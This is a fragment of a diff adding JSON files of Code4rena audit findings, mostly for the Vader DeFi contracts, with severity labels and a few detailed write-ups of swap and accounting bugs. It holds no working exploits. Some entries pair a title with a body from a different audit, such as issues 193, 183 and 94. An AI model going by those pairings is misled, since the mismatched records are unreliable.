"2021-11-vader-findings", "body": "`USDV.sol` Incomplete implementation"}, {"title": "Lack of access control allow attacker to `mintFungible()` and `mintSynth()` with other user's wallet balance", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/204", "labels": ["bug", "3 (High Risk)", "VaderPoolV2"], "target": "2021-11-vader-findings", "body": "Lack of access control allow attacker to `mintFungible()` and `mintSynth()` with other user's wallet balance"}, {"title": "VaderBond insufficient validation of max payout may prevent redeeming valid payout ", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/202", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "VaderBond"], "target": "2021-11-vader-findings", "body": "VaderBond insufficient validation of max payout may prevent redeeming valid payout "}, {"title": "`Router#initialize()` Lack of input validation for `reserve` asset", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/199", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "VaderReserve"], "target": "2021-11-vader-findings", "body": "`Router#initialize()` Lack of input validation for `reserve` asset"}, {"title": "Possibility of reducing the maxSupply of Vader", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/198", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "Vader"], "target": "2021-11-vader-findings", "body": "Possibility of reducing the maxSupply of Vader"}, {"title": "Unsafe type casting", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/195", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "LinearVesting"], "target": "2021-11-vader-findings", "body": "Unsafe type casting"}, {"title": "Tokens with fee on transfer are not supported", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/193", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "BasePoolV2"], "target": "2021-11-vader-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-phuture/tree/main/contracts/IndexLogic.sol#L115 # Vulnerability details There are ERC20 tokens that charge fee for every transfer() / transferFrom(). Vault.sol#addValue() assumes that the received amount is the same as the transfer amount, and uses it to calculate attributions, balance amounts, etc. But, the actual transferred amount can be lower for those tokens. Therefore it's recommended to use the balance change before and after the transfer instead of the amount. This way you also support the tokens with transfer fee - that are popular. https://github.com/code-423n4/2022-04-phuture/tree/main/contracts/IndexLogic.sol#L115 "}, {"title": "`BasePoolV2#rescue()` should be `nonReentrant`", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/191", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "BasePoolV2"], "target": "2021-11-vader-findings", "body": "`BasePoolV2#rescue()` should be `nonReentrant`"}, {"title": "`VaderRouterV2#addLiquidity()` is not compatible with the interface of UniswapV2Router02#addliquidity()", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/190", "labels": ["bug", "1 (Low Risk)", "VaderRouterV2"], "target": "2021-11-vader-findings", "body": "`VaderRouterV2#addLiquidity()` is not compatible with the interface of UniswapV2Router02#addliquidity()"}, {"title": "Early user can break `addLiquidity`", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/189", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged", "BasePool"], "target": "2021-11-vader-findings", "body": "Early user can break `addLiquidity`"}, {"title": "Governance veto can be bypassed", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/186", "labels": ["bug", "3 (High Risk)", "GovernorAlpha"], "target": "2021-11-vader-findings", "body": "Governance veto can be bypassed"}, {"title": "Gas Optimization: Simplify Math", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/184", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "VaderMath"], "target": "2021-11-vader-findings", "body": "Gas Optimization: Simplify Math"}, {"title": "Gas Optimization: Inline instead of modifier", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/183", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-vader-findings", "body": "# Handle gzeon # Vulnerability details ## Impact `onlyAdmin` of YaxisVaultAdapter.sol is only used in `withdraw`, it is advised to inline the function to save some gas without losing readability. ## Proof of Concept https://github.com/code-423n4/2021-11-yaxis/blob/146febcb61ae7fe20b0920849c4f4bbe111c6ba7/contracts/v3/alchemix/adapters/YaxisVaultAdapter.sol#L37 "}, {"title": "Attacker can claim more IL by manipulating pool price then `removeLiquidity` ", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/182", "labels": ["bug", "3 (High Risk)", "VaderRouterV2"], "target": "2021-11-vader-findings", "body": "Attacker can claim more IL by manipulating pool price then `removeLiquidity` "}, {"title": "Use safeTransfer instead of transfer", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/181", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor disputed", "VaderBond"], "target": "2021-11-vader-findings", "body": "Use safeTransfer instead of transfer"}, {"title": "block.chainid may change in case of a hardfork", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/178", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "UniswapV2ERC20"], "target": "2021-11-vader-findings", "body": "block.chainid may change in case of a hardfork"}, {"title": "No Transfer Ownership Pattern", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/175", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "VaderReserve", "VaderPoolFactory", "Treasury"], "target": "2021-11-vader-findings", "body": "No Transfer Ownership Pattern"}, {"title": "Governor's veto protection can be exploited", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/167", "labels": ["bug", "2 (Med Risk)", "GovernorAlpha"], "target": "2021-11-vader-findings", "body": "Governor's veto protection can be exploited"}, {"title": "Governor average block time is not up-to-date", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/166", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "GovernorAlpha"], "target": "2021-11-vader-findings", "body": "Governor average block time is not up-to-date"}, {"title": "`VaderRouter.calculateOutGivenIn` calculates wrong swap", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/162", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "VaderRouter"], "target": "2021-11-vader-findings", "body": "# Handle cmichel # Vulnerability details The 3-path hop in `VaderRouter.calculateOutGivenIn` is supposed to first swap **foreign** assets to native assets **in pool0**, and then the received native assets to different foreign assets again **in pool1**. The first argument of `VaderMath.calculateSwap(amountIn, reserveIn, reserveOut)` must refer to the same token as the second argument `reserveIn`. The code however mixes these positions up and first performs a swap in `pool1` instead of `pool0`: ```solidity function calculateOutGivenIn(uint256 amountIn, address[] calldata path) external view returns (uint256 amountOut) { if(...) { } else { return VaderMath.calculateSwap( VaderMath.calculateSwap( // @audit the inner trade should not be in pool1 for a forward swap. amountIn foreign => next param should be foreignReserve0 amountIn, nativeReserve1, foreignReserve1 ), foreignReserve0, nativeReserve0 ); } /** @audit instead should first be trading in pool0! VaderMath.calculateSwap( VaderMath.calculateSwap( amountIn, foreignReserve0, nativeReserve0 ), nativeReserve1, foreignReserve1 ); */ ``` ## Impact All 3-path swaps computations through `VaderRouter.calculateOutGivenIn` will return the wrong result. Smart contracts or off-chain scripts/frontends that rely on this value to trade will have their transaction reverted, or in the worst case lose funds. ## Recommended Mitigation Steps Return the following code instead which first trades in pool0 and then in pool1: ```solidity return VaderMath.calculateSwap( VaderMath.calculateSwap( amountIn, foreignReserve0, nativeReserve0 ), nativeReserve1, foreignReserve1 ); ``` "}, {"title": "`VaderRouter._swap` performs wrong swap", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/161", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "VaderRouter"], "target": "2021-11-vader-findings", "body": "# Handle cmichel # Vulnerability details The 3-path hop in `VaderRouter._swap` is supposed to first swap **foreign** assets to native assets, and then the received native assets to different foreign assets again. The `pool.swap(nativeAmountIn, foreignAmountIn)` accepts the foreign amount as the **second** argument. The code however mixes these positional arguments up and tries to perform a `pool0` foreign -> native swap by using the **foreign** amount as the **native amount**: ```solidity function _swap( uint256 amountIn, address[] calldata path, address to ) private returns (uint256 amountOut) { if (path.length == 3) { // ... // @audit calls this with nativeAmountIn = amountIn. but should be foreignAmountIn (second arg) return pool1.swap(0, pool0.swap(amountIn, 0, address(pool1)), to); } } // @audit should be this instead return pool1.swap(pool0.swap(0, amountIn, address(pool1)), 0, to); ``` ## Impact All 3-path swaps through the `VaderRouter` fail in the pool check when `require(nativeAmountIn = amountIn <= nativeBalance - nativeReserve = 0)` is checked, as foreign amount is sent but _native_ amount is specified. ## Recommended Mitigation Steps Use `return pool1.swap(pool0.swap(0, amountIn, address(pool1)), 0, to);` instead. "}, {"title": "setRewardsDuration() Lack of Input Validation May Break notifyRewardAmount()", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/156", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "StakingRewards"], "target": "2021-11-vader-findings", "body": "setRewardsDuration() Lack of Input Validation May Break notifyRewardAmount()"}, {"title": "Use bytes32 Rather Than String", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/153", "labels": ["bug", "G (Gas Optimization)", "GovernorAlpha"], "target": "2021-11-vader-findings", "body": "Use bytes32 Rather Than String"}, {"title": "`Converter.convert()` Proofs Can Be Replayed On Other Chains", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/150", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "Converter"], "target": "2021-11-vader-findings", "body": "`Converter.convert()` Proofs Can Be Replayed On Other Chains"}, {"title": "`BasePool.swap()` Is Callable By Anyone", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/149", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "VaderRouter", "BasePool"], "target": "2021-11-vader-findings", "body": "`BasePool.swap()` Is Callable By Anyone"}, {"title": "`BasePool.mint()` Is Callable By Anyone", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/148", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "VaderRouter", "BasePool"], "target": "2021-11-vader-findings", "body": "`BasePool.mint()` Is Callable By Anyone"}, {"title": "Anyone Can Arbitrarily Mint Synthetic Assets In `VaderPoolV2.mintSynth()`", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/146", "labels": ["bug", "3 (High Risk)", "VaderPoolV2"], "target": "2021-11-vader-findings", "body": "Anyone Can Arbitrarily Mint Synthetic Assets In `VaderPoolV2.mintSynth()`"}, {"title": "`Converter::constructor` ignores return value from function call", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/145", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "Converter"], "target": "2021-11-vader-findings", "body": "`Converter::constructor` ignores return value from function call"}, {"title": "Use constant `_INITIAL_EMISSION_CURVE` in `Vader.sol`", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/144", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "Vader"], "target": "2021-11-vader-findings", "body": "Use constant `_INITIAL_EMISSION_CURVE` in `Vader.sol`"}, {"title": "Function AdjustMaxSupply is incorrect (or at least confusing)", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/143", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "Vader"], "target": "2021-11-vader-findings", "body": "Function AdjustMaxSupply is incorrect (or at least confusing)"}, {"title": "Incorrect comments (technical issues)", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/141", "labels": ["bug", "1 (Low Risk)", "GovernorAlpha"], "target": "2021-11-vader-findings", "body": "Incorrect comments (technical issues)"}, {"title": "`StakingRewards.sol#updateReward` can be split to two modifiers to save gas", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/139", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "StakingRewards"], "target": "2021-11-vader-findings", "body": "`StakingRewards.sol#updateReward` can be split to two modifiers to save gas"}, {"title": "Missing duplicate veto check", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/137", "labels": ["bug", "duplicate", "2 (Med Risk)", "GovernorAlpha"], "target": "2021-11-vader-findings", "body": "Missing duplicate veto check"}, {"title": "might not check current block when casting vote", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/135", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "XVader", "GovernorAlpha"], "target": "2021-11-vader-findings", "body": "might not check current block when casting vote"}, {"title": "calldata vs memory in solidity gas usage", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/131", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "LinearVesting"], "target": "2021-11-vader-findings", "body": "calldata vs memory in solidity gas usage"}, {"title": "unessesary safe math in UniSwapV2Pair.sol line 120", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/127", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "UniswapV2Pair"], "target": "2021-11-vader-findings", "body": "unessesary safe math in UniSwapV2Pair.sol line 120"}] \ No newline at end of file diff --git a/results/codearena_findings_7.json b/results/codearena_findings_7.json new file mode 100644 index 0000000..362af2c --- /dev/null +++ b/results/codearena_findings_7.json @@ -0,0 +1 @@ +[{"title": "`public` functions can be `external`", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/126", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "GovernorAlpha"], "target": "2021-11-vader-findings", "body": "`public` functions can be `external`"}, {"title": "Prefix increaments are cheaper than postfix increaments", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/125", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-vader-findings", "body": "Prefix increaments are cheaper than postfix increaments"}, {"title": "Unchecked{i++} is better than i++", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/124", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-vader-findings", "body": "Unchecked{i++} is better than i++"}, {"title": "Caching array length to save gas", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/123", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-vader-findings", "body": "Caching array length to save gas"}, {"title": "Add zero address validation in the GovernorAlpha contract", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/122", "labels": ["bug", "1 (Low Risk)", "GovernorAlpha"], "target": "2021-11-vader-findings", "body": "Add zero address validation in the GovernorAlpha contract"}, {"title": "Incompatibility With Rebasing/Deflationary/Inflationary tokens", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/118", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "BasePool"], "target": "2021-11-vader-findings", "body": "Incompatibility With Rebasing/Deflationary/Inflationary tokens"}, {"title": "Redundant Functions", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/117", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "SwapQueue"], "target": "2021-11-vader-findings", "body": "Redundant Functions"}, {"title": "Redundant Gas Modifider", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/115", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "GasThrottle"], "target": "2021-11-vader-findings", "body": "Redundant Gas Modifider"}, {"title": "Redundant Code Statement", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/114", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "GovernorAlpha"], "target": "2021-11-vader-findings", "body": "Redundant Code Statement"}, {"title": "No event emission for \"guardian\" changes (GovernorAlpha.sol)", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/110", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "GovernorAlpha"], "target": "2021-11-vader-findings", "body": "No event emission for \"guardian\" changes (GovernorAlpha.sol)"}, {"title": "No event emission for \"timelock\" changes (GovernorAlpha.sol)", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/108", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "GovernorAlpha"], "target": "2021-11-vader-findings", "body": "No event emission for \"timelock\" changes (GovernorAlpha.sol)"}, {"title": "Long Revert Strings", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/104", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-vader-findings", "body": "Long Revert Strings"}, {"title": "User may not receive the full amount of IL compensation", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/100", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "VaderReserve"], "target": "2021-11-vader-findings", "body": "User may not receive the full amount of IL compensation"}, {"title": "internal function _addLiquidity in the router is unnecessary", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/99", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "VaderRouter"], "target": "2021-11-vader-findings", "body": "internal function _addLiquidity in the router is unnecessary"}, {"title": "Attacker can get extremely cheap synth by front-running create Pool", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/98", "labels": ["bug", "3 (High Risk)", "sponsor disputed", "VaderPoolV2", "VaderPoolFactory"], "target": "2021-11-vader-findings", "body": "Attacker can get extremely cheap synth by front-running create Pool"}, {"title": "token allocation specs in contract code does not match with whitepaper", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/95", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "ProtocolConstants"], "target": "2021-11-vader-findings", "body": "token allocation specs in contract code does not match with whitepaper"}, {"title": "Save gas by caching array length used in for loops", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/94", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "GovernorAlpha", "LinearVesting"], "target": "2021-11-vader-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Proof of Concept Example: ``` for (uint i = 0; i < arr.length; i++) { //Operations not effecting the length of the array. } ``` Loading length of array costs gas. Therefore, the length should be cached, if the length of the array doesn't change inside the loop. Recommended implementation: ``` uint length = arr.length; for (uint i = 0; i < length; i++) { //Operations not effecting the length of the array. } ``` By doing so the length is only loaded once rather than loading it as many times as iterations (Therefore, less gas is spent). ## Occurences ``` contracts/FeeSplitter.sol:108: for (uint256 i = 0; i < _accounts.length; i++) { contracts/FeeSplitter.sol:125: for (uint256 i = 0; i < _tokens.length; i++) { contracts/FeeSplitter.sol:210: for (uint256 i = 0; i < shareholders.length; i++) { contracts/FeeSplitter.sol:227: for (uint256 i = 0; i < shareholders.length; i++) { contracts/MixinOperatorResolver.sol:32: for (uint256 i = 0; i < requiredAddresses.length; i++) { contracts/MixinOperatorResolver.sol:48: for (uint256 i = 0; i < requiredAddresses.length; i++) { contracts/NestedFactory.sol:203: for (uint256 i = 0; i < tokens.length; i++) { contracts/NestedFactory.sol:280: for (uint256 i = 0; i < _orders.length; i++) { contracts/NestedFactory.sol:316: for (uint256 i = 0; i < _orders.length; i++) { contracts/OperatorResolver.sol:33: for (uint256 i = 0; i < names.length; i++) { contracts/OperatorResolver.sol:45: for (uint256 i = 0; i < names.length; i++) { contracts/OperatorResolver.sol:56: for (uint256 i = 0; i < destinations.length; i++) { ``` "}, {"title": "Missing hasStarted modifier, can lead to user vesting before the owner begin the vesting", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/90", "labels": ["bug", "2 (Med Risk)", "LinearVesting"], "target": "2021-11-vader-findings", "body": "Missing hasStarted modifier, can lead to user vesting before the owner begin the vesting"}, {"title": "using memory pointer instead storage", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/87", "labels": ["bug", "duplicate", "G (Gas Optimization)", "LinearVesting"], "target": "2021-11-vader-findings", "body": "using memory pointer instead storage"}, {"title": "using memory pointer instead storage", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/86", "labels": ["bug", "G (Gas Optimization)", "LinearVesting"], "target": "2021-11-vader-findings", "body": "using memory pointer instead storage"}, {"title": "Multiple Solidity pragma in repo/vader-bond/contracts/VaderBond.sol", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/79", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "VaderBond"], "target": "2021-11-vader-findings", "body": "Multiple Solidity pragma in repo/vader-bond/contracts/VaderBond.sol"}, {"title": "Multiple Solidity pragma in repo/vader-bond/contracts/Treasury.sol", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/78", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "VaderBond", "Treasury"], "target": "2021-11-vader-findings", "body": "Multiple Solidity pragma in repo/vader-bond/contracts/Treasury.sol"}, {"title": "Multiple Solidity pragma repo/vader-bond/contracts/lib/FixedPoint.sol", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/77", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "VaderBond"], "target": "2021-11-vader-findings", "body": "Multiple Solidity pragma repo/vader-bond/contracts/lib/FixedPoint.sol"}, {"title": "Multiple Solidity pragma In repo/vader-bond/contracts/Ownable.sol", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/76", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "VaderBond"], "target": "2021-11-vader-findings", "body": "Multiple Solidity pragma In repo/vader-bond/contracts/Ownable.sol"}, {"title": "Multiple Solidity pragma repo/vader-bond/contracts/lib/FullMath.sol", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/75", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "VaderBond"], "target": "2021-11-vader-findings", "body": "Multiple Solidity pragma repo/vader-bond/contracts/lib/FullMath.sol"}, {"title": "Multiple Solidity pragma in repo/vader-bond/contracts/test/TestToken.sol", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/74", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "VaderBond"], "target": "2021-11-vader-findings", "body": "Multiple Solidity pragma in repo/vader-bond/contracts/test/TestToken.sol"}, {"title": "Multiple Solidity pragma in repo/vader-bond/contracts/interfaces/ITreasury.sol ", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/73", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "Treasury"], "target": "2021-11-vader-findings", "body": "Multiple Solidity pragma in repo/vader-bond/contracts/interfaces/ITreasury.sol "}, {"title": "Multiple Solidity pragma", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/72", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "VaderBond"], "target": "2021-11-vader-findings", "body": "Multiple Solidity pragma"}, {"title": "(dex-v1) BasePool.mint() function can be frontrun", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/71", "labels": ["bug", "3 (High Risk)", "sponsor disputed", "BasePool"], "target": "2021-11-vader-findings", "body": "(dex-v1) BasePool.mint() function can be frontrun"}, {"title": "`onlyOnwer` in the synthFactory is confusing", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/68", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged", "VaderPoolV2"], "target": "2021-11-vader-findings", "body": "`onlyOnwer` in the synthFactory is confusing"}, {"title": "add liquidity is vulnerable to sandwich attack", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/67", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "VaderRouterV2"], "target": "2021-11-vader-findings", "body": "add liquidity is vulnerable to sandwich attack"}, {"title": " calculate Loss is vulnerable to flashloan attack", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/65", "labels": ["bug", "3 (High Risk)", "sponsor disputed", "VaderMath"], "target": "2021-11-vader-findings", "body": " calculate Loss is vulnerable to flashloan attack"}, {"title": "Using SafeMath ins Solidity 0.8.9 contracts wastes gas", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/64", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-vader-findings", "body": "Using SafeMath ins Solidity 0.8.9 contracts wastes gas"}, {"title": "Unnecessary validation of `proposalId>0` due to incorrect proposalId increments", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "GovernorAlpha"], "target": "2021-11-vader-findings", "body": "Unnecessary validation of `proposalId>0` due to incorrect proposalId increments"}, {"title": "Governance Veto lacks sufficient validation to protect against frontrunning", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/61", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "GovernorAlpha"], "target": "2021-11-vader-findings", "body": "Governance Veto lacks sufficient validation to protect against frontrunning"}, {"title": "Some public functions can be converted as external", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/52", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "GovernorAlpha"], "target": "2021-11-vader-findings", "body": "Some public functions can be converted as external"}, {"title": "Use SafeERC20 library", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/46", "labels": ["bug", "invalid", "sponsor disputed", "USDV", "XVader", "GovernorAlpha"], "target": "2021-11-vader-findings", "body": "Use SafeERC20 library"}, {"title": "Did not check if vestor is address(0)", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/42", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "LinearVesting"], "target": "2021-11-vader-findings", "body": "Did not check if vestor is address(0)"}, {"title": "Cache length of array before loop to optimize gas", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/41", "labels": ["bug", "G (Gas Optimization)", "LinearVesting"], "target": "2021-11-vader-findings", "body": "Cache length of array before loop to optimize gas"}, {"title": "Use `indexed` keyword in events which can be used as filter", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/40", "labels": ["bug", "0 (Non-critical)", "Vader"], "target": "2021-11-vader-findings", "body": "Use `indexed` keyword in events which can be used as filter"}, {"title": "VaderReserve does not support paying IL protection out to more than one address, resulting in locked funds", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/37", "labels": ["bug", "3 (High Risk)", "sponsor disputed", "VaderRouter", "VaderRouterV2"], "target": "2021-11-vader-findings", "body": "VaderReserve does not support paying IL protection out to more than one address, resulting in locked funds"}, {"title": "Paying IL protection for all VaderPool pairs allows the reserve to be drained.", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/34", "labels": ["bug", "3 (High Risk)", "sponsor disputed", "VaderRouter", "VaderPool"], "target": "2021-11-vader-findings", "body": "Paying IL protection for all VaderPool pairs allows the reserve to be drained."}, {"title": "LPs of VaderPoolV2 can manipulate pool reserves to extract funds from the reserve.", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/31", "labels": ["bug", "question", "3 (High Risk)", "VaderPoolV2", "VaderRouterV2"], "target": "2021-11-vader-findings", "body": "LPs of VaderPoolV2 can manipulate pool reserves to extract funds from the reserve."}, {"title": "Function LinearVesting.claim() will never meet require conditions", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/29", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "LinearVesting"], "target": "2021-11-vader-findings", "body": "Function LinearVesting.claim() will never meet require conditions"}, {"title": "Use `_safeMint()` instead of `_mint()`", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/27", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "BasePoolV2", "VaderRouterV2"], "target": "2021-11-vader-findings", "body": "Use `_safeMint()` instead of `_mint()`"}, {"title": "_totalSupply can be different from actual supply", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/26", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "StakingRewards"], "target": "2021-11-vader-findings", "body": "_totalSupply can be different from actual supply"}, {"title": "VaderRouter breaks compatibility with IUniswapV2Router0X", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/25", "labels": ["bug", "0 (Non-critical)", "VaderRouter"], "target": "2021-11-vader-findings", "body": "VaderRouter breaks compatibility with IUniswapV2Router0X"}, {"title": "VaderRouterV2 breaks compatibility with IUniswapV2Router0X", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/24", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "VaderRouterV2"], "target": "2021-11-vader-findings", "body": "VaderRouterV2 breaks compatibility with IUniswapV2Router0X"}, {"title": "Use proxy clones to create Synths & LPTokens", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "SynthFactory", "LPWrapper"], "target": "2021-11-vader-findings", "body": "Use proxy clones to create Synths & LPTokens"}, {"title": "Use of SafeERC20 for known tokens used extra gas unnecessarily", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/7", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "Vader", "USDV"], "target": "2021-11-vader-findings", "body": "Use of SafeERC20 for known tokens used extra gas unnecessarily"}, {"title": "BasePool does not account for Vader transfer fees when removing liquidity", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/4", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "Vader", "BasePool"], "target": "2021-11-vader-findings", "body": "BasePool does not account for Vader transfer fees when removing liquidity"}, {"title": "Redemption value of synths can be manipulated to drain `VaderPool` of all native assets", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/3", "labels": ["bug", "question", "3 (High Risk)", "VaderPoolV2"], "target": "2021-11-vader-findings", "body": "Redemption value of synths can be manipulated to drain `VaderPool` of all native assets"}, {"title": "Minting and burning synths exposes users to unlimited slippage", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/2", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor acknowledged", "VaderPoolV2"], "target": "2021-11-vader-findings", "body": "Minting and burning synths exposes users to unlimited slippage"}, {"title": "Passing multiple ETH deposits in orders array will use the same msg.value many times", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/226", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2021-11-nested-findings", "body": "Passing multiple ETH deposits in orders array will use the same msg.value many times"}, {"title": "NestedFactory._decreaseHoldingAmount needs explicit amount control for spending 